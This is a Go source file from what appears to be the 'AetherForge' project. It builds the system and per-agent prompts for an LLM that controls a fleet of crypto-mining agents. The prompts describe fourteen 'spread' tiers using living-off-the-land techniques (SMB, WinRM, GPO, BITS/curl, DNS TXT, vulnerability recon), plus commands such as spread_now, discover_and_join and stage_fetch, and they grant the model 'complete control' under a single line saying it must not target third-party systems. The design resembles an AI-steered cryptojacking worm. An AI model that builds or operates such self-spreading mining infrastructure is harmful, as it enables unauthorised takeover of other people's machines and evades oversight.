Files
AetherForge/server/internal/ai/mission_prompt.go
AetherForge 0002e5fd93
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add Calibrate AI Control UI and fleet LLM backend wiring.
Operators toggle Logic gates vs AI Control on Settings, refresh local Ollama models, and save ai_endpoint settings via Calibrate PUT; server scheduler and agent snapshot/command paths support stateless 60s fleet decisions.
2026-06-07 02:14:28 -07:00

136 lines
3.9 KiB
Go

package ai
import (
"encoding/json"
"fmt"
"strings"
)
// Default spread onion tiers (14) for prompt context.
var defaultSpreadTiers = []string{
"vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl",
"do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh",
"smb", "winrm", "linux", "gpo",
}
// SystemPrompt returns the fleet AI system instructions.
func SystemPrompt() string {
return strings.TrimSpace(`You are the AetherForge fleet controller for the operator's own machines.
Respond with short answers only. Prefer JSON: {"commands":[{"type":"noop","args":{}}]}.
Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop.
agent_command args: action (required), command, path, data.
bulk_command args: agent_ids (array), action, command.
reorder_tiers args: tier_order (array of strings), skip_tiers (optional array).
stage_fetch args: data (JSON manifest string).
set_agent_version args: module or build_id.
You have complete control in AI mode. Never target third-party systems.`)
}
// BuildUserPrompt renders the per-agent snapshot for one decision cycle.
func BuildUserPrompt(s AgentSnapshot) string {
var b strings.Builder
fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID)
if s.Worker != "" {
fmt.Fprintf(&b, " worker=%s", s.Worker)
}
b.WriteString("\n")
fmt.Fprintf(&b, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID)
if len(s.Capabilities) > 0 {
flags := make([]string, 0, len(s.Capabilities))
for k, v := range s.Capabilities {
if v {
flags = append(flags, k)
}
}
if len(flags) > 0 {
fmt.Fprintf(&b, "Forge capabilities: %s\n", strings.Join(flags, ", "))
}
}
fmt.Fprintf(&b, "LOTL tier: %s\n", emptyDash(s.LOTLTier))
fmt.Fprintf(&b, "Mining hashrate: %.2f H/s\n", s.MiningHashrate)
if s.ActiveMethod != "" {
fmt.Fprintf(&b, "Active method: %s\n", s.ActiveMethod)
}
if s.ChainExhausted {
b.WriteString("Mining chain exhausted: true\n")
}
if len(s.ChainOrder) > 0 {
fmt.Fprintf(&b, "Chain order: %s\n", strings.Join(s.ChainOrder, " → "))
}
b.WriteString("LOTL attempts (all tiers):\n")
attemptByTier := map[string]TierAttempt{}
for _, a := range s.LOTLAttempts {
attemptByTier[a.Tier] = a
}
for _, tier := range defaultSpreadTiers {
if a, ok := attemptByTier[tier]; ok {
status := "fail"
if a.OK {
status = "ok"
}
if a.Error != "" {
fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error)
} else {
fmt.Fprintf(&b, " - %s: %s\n", tier, status)
}
} else {
fmt.Fprintf(&b, " - %s: pending\n", tier)
}
}
for _, a := range s.LOTLAttempts {
if _, listed := attemptByTier[a.Tier]; listed {
continue
}
found := false
for _, t := range defaultSpreadTiers {
if t == a.Tier {
found = true
break
}
}
if !found {
status := "fail"
if a.OK {
status = "ok"
}
fmt.Fprintf(&b, " - %s: %s\n", a.Tier, status)
}
}
fmt.Fprintf(&b, "Join lane: %s\n", emptyDash(s.JoinLane))
fmt.Fprintf(&b, "Spread state: %s\n", emptyDash(s.SpreadState))
if s.VulnRisk != nil {
fmt.Fprintf(&b, "Vuln risk score: %d\n", *s.VulnRisk)
} else {
b.WriteString("Vuln risk score: n/a\n")
}
if s.AdaptiveSummary != "" {
fmt.Fprintf(&b, "Adaptive strategy summary: %s\n", s.AdaptiveSummary)
} else if s.Adaptive != nil {
if raw, err := json.Marshal(s.Adaptive); err == nil {
fmt.Fprintf(&b, "Adaptive strategy: %s\n", string(raw))
}
}
b.WriteString("\nIf all 14 tiers failed and hashrate=0, you MAY force restart mining chain (restart_mining).\n")
b.WriteString("Return JSON commands array for this agent only.\n")
return b.String()
}
func firstNonEmpty(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return "unknown"
}
func emptyDash(s string) string {
if strings.TrimSpace(s) == "" {
return "—"
}
return strings.TrimSpace(s)
}